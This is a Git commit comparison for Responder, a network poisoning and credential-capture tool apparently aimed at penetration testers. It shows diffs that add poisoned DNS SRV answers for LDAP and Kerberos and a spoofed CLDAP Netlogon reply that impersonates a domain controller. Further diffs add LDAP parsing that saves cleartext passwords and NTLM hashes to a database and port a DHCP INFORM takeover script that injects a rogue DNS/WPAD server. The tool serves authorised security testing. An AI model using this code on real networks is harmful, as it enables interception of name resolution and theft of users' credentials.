Compare commits

...

17 Commits

Author SHA1 Message Date
lgandx
1271b8e179 Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping 2021-04-12 20:42:36 -03:00
lgandx
d01bbaafae Update README.md 2021-04-05 20:49:54 -03:00
lgandx
e55eeed3d4 Update README.md 2021-04-05 03:15:39 -03:00
lgandx
6c51080109 removed FindSMB2UPTime.py since RunFinger already get this info 2021-03-26 01:43:03 -03:00
lgandx
724cfecb5a minor fix 2021-03-26 00:10:14 -03:00
lgandx
3b3ee1314e Ported DHCP.py to py3 2021-03-25 23:34:16 -03:00
lgandx
6658c2b98f made compatible py2/py3 2021-03-25 23:06:48 -03:00
lgandx
5c56c6e0ca Ported to py3 2021-03-25 21:55:56 -03:00
lgandx
35b12b4832 Removed MultiRelay binaries 2021-03-20 14:25:39 -03:00
lgandx
cc3a5b5cff added a check for exec file 2021-03-20 10:22:52 -03:00
lgandx
5d762c4a55 Removed BindShell executable file 2021-03-20 10:10:49 -03:00
lgandx
ccee87aa95 Removed donation banner 2021-03-20 09:23:30 -03:00
lgandx
dd1a674080 removed verification 2021-03-20 09:20:32 -03:00
lgandx
4b02bcadf1 google verification 2021-03-20 09:13:42 -03:00
lgandx
8104139a35 Added donation banner. 2021-02-10 13:09:07 -03:00
lgandx
06f9f91f11 added donation address and minor typo 2021-02-10 11:09:15 -03:00
lgandx
b0f044fe4e added smb filetime support 2021-02-08 22:18:41 -03:00
20 changed files with 688 additions and 193 deletions

View File

@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -164,10 +164,13 @@ Options:
## Donation ##
You can contribute to this project by donating to the following BTC address:
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
Or BTC address:
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ##
@@ -181,6 +184,10 @@ We would like to thanks those major donator:
- TrustedSec: https://www.trustedsec.com/
- Red Siege Information Security: https://www.redsiege.com/
- Open-Sec: http://www.open-sec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.

View File

@@ -80,7 +80,7 @@ Serve-Html = Off
HtmlFilename = files/AccessDenied.html
; Custom EXE File to serve
ExeFilename = files/BindShell.exe
ExeFilename = ;files/filetoserve.exe
; Name of the downloaded .exe that the client will see
ExeDownloadName = ProxyClient.exe

View File

@@ -307,8 +307,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP
from servers.LDAP import LDAP, CLDAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
@@ -328,7 +329,7 @@ def main():
thread.setDaemon(True)
thread.start()
print(color('[+]', 2, 1) + " Listening for events...")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
while True:
time.sleep(1)

Binary file not shown.

View File

@@ -18,10 +18,12 @@
import struct
import settings
import codecs
import random
import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -38,6 +40,10 @@ class Packet():
def __str__(self):
return "".join(map(str, self.fields.values()))
def GenerateCallbackName():
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
# NBT Answer Packet
class NBT_Ans(Packet):
fields = OrderedDict([
@@ -65,7 +71,7 @@ class NBT_Ans(Packet):
class DNS_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x10"),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
@@ -88,6 +94,81 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x80"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x21"),#srv
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x21"),#srv
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("RecordLen", ""),
("Priority", "\x00\x00"),
("Weight", "\x00\x64"),
("Port", "\x00\x00"),
("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default.
("TargetPrefix", ""),
("TargetLenSuff", ""),
("TargetSuffix", ""),
("TargetLenSuff2", ""),
("TargetSuffix2", ""),
("TargetNull", "\x00"),
("AnswerAPointer", "\xc0"),
("AnswerAPtrOffset", ""),
("Type2", "\x00\x01"),#A record.
("Class2", "\x00\x01"),
("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName
#Want to be detected that easily by xyz sensor?
self.fields["TargetPrefix"] = "win-"+GenerateCallbackName()
#two last parts of the domain are the actual Domain name.. eg: contoso.com
self.fields["TargetSuffix"] = SplitFQDN[-2]
self.fields["TargetSuffix2"] = SplitFQDN[-1]
#We calculate the len for that domain...
self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"])
self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"])
# Calculate Record len.
CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"]
#Our answer len..
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
#Where is Answer A Pointer...
CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen
self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4)
#for now we support ldap and kerberos...
if "ldap" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
if "kerberos" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
#Last but not least... we provide our IP, so computers can enjoy our services.
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# LLMNR Answer Packet
class LLMNR_Ans(Packet):
fields = OrderedDict([
@@ -782,6 +863,87 @@ class LDAPNTLMChallenge(Packet):
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
##cldap
class CLDAPNetlogon(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x9D"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x02"),
("MessageIDASNStr", "\x00\xc4"),#First MsgID
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),
("Status", "\x04"),
("StatusASNLen", "\x00"),
("StatusASNStr", ""),
("SequenceHeader", "\x30"),
("SequenceHeaderLenOfLen", "\x84"),
("SequenceHeaderLen", "\x00\x00\x00\x8b"),
#Netlogon packet starts here....
("PartAttribHead", "\x30"),
("PartAttribHeadLenofLen", "\x84"),
("PartAttribHeadLen", "\x00\x00\x00\x85"),
("NetlogonHead", "\x04"),
("NetlogonLen", "\x08"),
("NetlogonStr", "Netlogon"),
("NetAttribHead", "\x31"),
("NetAttribLenOfLen", "\x84"),
("NetAttribLen", "\x00\x00\x00\x75"),
("NetAttrib1Head", "\x04"),
("NetAttrib1Len", "\x73"),
("NTLogonOpcode", "\x17\x00"),#SamLogonRespEx opcode
("NTLogonSbz", "\x00\x00"),
("NTLogonFlags", "\xFD\xF3\x03\x00"),
("NTLogonDomainGUID", "\x3E\xDE\x55\x61\xF0\x79\x8F\x44\x83\x10\x83\x63\x08\xD4\xBB\x26"),
("NTLogonForestName", "\x04\x73\x6D\x62\x33\x05\x6C\x6F\x63\x61\x6C"),
("NTLogonForestNameNull", "\x00"),
("NTLogonDomainNamePtr", "\xc0"),
("NTLogonDomainNamePtrOffset", "\x18"),
("NTLogonPDCNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
("NTLogonPDCNBTTLDPtr", "\xC0\x18"),
("NTLogonDomainNameShort", "\x04\x53\x4D\x42\x33"),
("NTLogonDomainNameShortNull", "\x00"),
("NTLogonDomainNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
("NTLogonDomainNBTNameNull", "\x00"),
("NTLogonUsername", "\x00"),
("DCSiteName", "\x17\x44\x65\x66\x61\x75\x6C\x74\x2D\x46\x69\x72\x73\x74\x2D\x53\x69\x74\x65\x2D\x4E\x61\x6D\x65\x00"),#static 95% PDC use this.
("ClientSiteNamePtr", "\xc0"),
("ClientSiteNamePtrOffset", "\x50"),
("NTLogonVersion", "\x05\x00\x00\x00"),
("LMNTToken", "\xff\xff"),
("LM2Token", "\xff\xff"),#End netlogon.
("CLDAPMessageIDHeader", "\x30\x84\x00\x00\x00\x11"),
("CLDAPMessageIDInt", "\x02"),
("CLDAPMessageIDlen", "\x02"),
("CLDAPMessageIDStr", "\x00\xc4"),#Second MsgID
("SearchDone", "\x65\x84\x00\x00\x00\x07"),
("SearchDoneMatched", "\x0A\x01\x00\x04\x00\x04\x00"),
])
def calculate(self):
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
###### Netlogon + Search Successfull Len
CalculateNetlogonLen = str(self.fields["NTLogonOpcode"])+str(self.fields["NTLogonSbz"])+str(self.fields["NTLogonFlags"])+str(self.fields["NTLogonDomainGUID"])+str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])+str(self.fields["ClientSiteNamePtr"])+str(self.fields["ClientSiteNamePtrOffset"])+str(self.fields["NTLogonVersion"])+str(self.fields["LMNTToken"])+str(self.fields["LM2Token"]) #115 now.
CalculateNetlogonOffset = str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])
##### LDAP ASN Len Calculation:
self.fields["NetAttrib1Len"] = StructWithLenPython2or3(">B", len(CalculateNetlogonLen))
self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2)
self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18)
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24)
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32)
self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42)
######
self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1)
##### SMB Packets #####
class SMBHeader(Packet):
fields = OrderedDict([
@@ -980,7 +1142,7 @@ class SMBNegoAnsLM(Packet):
("Maxrawbuff", "\x00\x00\x01\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("Capabilities", "\xfc\x3e\x01\x00"),
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("Systemtime", SMBTime()),
("Srvtimezone", "\x2c\x01"),
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
@@ -1009,11 +1171,11 @@ class SMBNegoAns(Packet):
("MaxRawBuff", "\x00\x00\x01\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\xf3\x01\x80"),
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("SystemTime", SMBTime()),
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("Guid", urandom(16).decode('latin-1')),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
@@ -1076,7 +1238,7 @@ class SMBNegoKerbAns(Packet):
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("Guid", urandom(16).decode('latin-1')),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
@@ -1377,8 +1539,8 @@ class SMB2NegoAns(Packet):
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", "\x27\xfb\xea\xd7\x50\x09\xd2\x01"),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SystemTime", SMBTime()),
("BootTime", SMBTime()),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x00\x00\x00\x00"),
@@ -1522,7 +1684,7 @@ class SMB2Session1Data(Packet):
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr","\xc0\x65\x31\x50\xde\x09\xd2\x01"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",SMBTime()),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans
from packets import DNS_Ans, DNS_SRV_Ans
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -23,9 +23,11 @@ else:
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return QueryTypeClass == "\x00\x01\x00\x01"
if QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
@@ -37,12 +39,19 @@ class DNS(BaseRequestHandler):
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass
@@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass

View File

@@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
from utils import *
import struct
import codecs
import random
def GenerateNetbiosName():
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
name = name.split(".")
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
Dnslen = ''
for x in name:
if len(x) >=1:
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
#data = NetworkSendBufferPython2or3(data)
try:
Dns = data.find(b'DnsDomain')
if Dns is -1:
return False
DnsName = data[Dns+9:]
DnsGuidOff = data.find(b'DomainGuid')
if DnsGuidOff is -1:
return False
Guid = data[DnsGuidOff+10:]
if Dns:
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
DomainName = DnsName[2:2+DomainLen]
if Guid:
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
DomainGuid = Guid[2:2+DomainGuidLen]
return DomainName, DomainGuid
except:
pass
def ParseSearch(data):
TID = data[8:9].decode('latin-1')
if re.search(b'Netlogon', data):
NbtName = GenerateNetbiosName()
TID = NetworkRecvBufferPython2or3(data[8:10])
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
t.calculate()
return str(t)
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
@@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge):
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data, client, Challenge)
def ParseCLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[10:11]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == b'\x80':
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
if sasl == b'\xA3':
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == b'\x63':
Buffer = ParseSearch(data)
return Buffer
elif settings.Config.Verbose:
print(text('[LDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen].decode('latin-1')
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
@@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge):
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
if Operation == b'\x60':#Bind
if "ldap" in data:# No Kerberos
return False
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
class LDAP(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.4)
self.request.settimeout(1)
data = self.request.recv(8092)
Challenge = RandomChallenge()
for x in range(5):
@@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
except:
pass
class CLDAP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
Challenge = RandomChallenge()
for x in range(1):
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
data, soc = self.request
except:
pass

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.2.0'
__version__ = 'Responder 3.0.4.0'
class Settings:
@@ -142,11 +142,12 @@ class Settings:
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if self.Serve_Exe is True:
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey')

View File

@@ -15,15 +15,16 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import optparse
import configparser
import os
import codecs
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from packets import Packet
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
@@ -54,9 +55,48 @@ elif options.DNSIP2 is None:
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
print('#############################################################################')
print('## DHCP INFORM TAKEOVER 0.2 ##')
print('## DHCP INFORM TAKEOVER 0.3 ##')
print('## ##')
print('## By default, this script will only inject a new DNS/WPAD ##')
print('## server to a Windows <= XP/2003 machine. ##')
@@ -113,7 +153,7 @@ class UDP(Packet):
])
def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet):
fields = OrderedDict([
@@ -162,14 +202,14 @@ class DHCPACK(Packet):
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
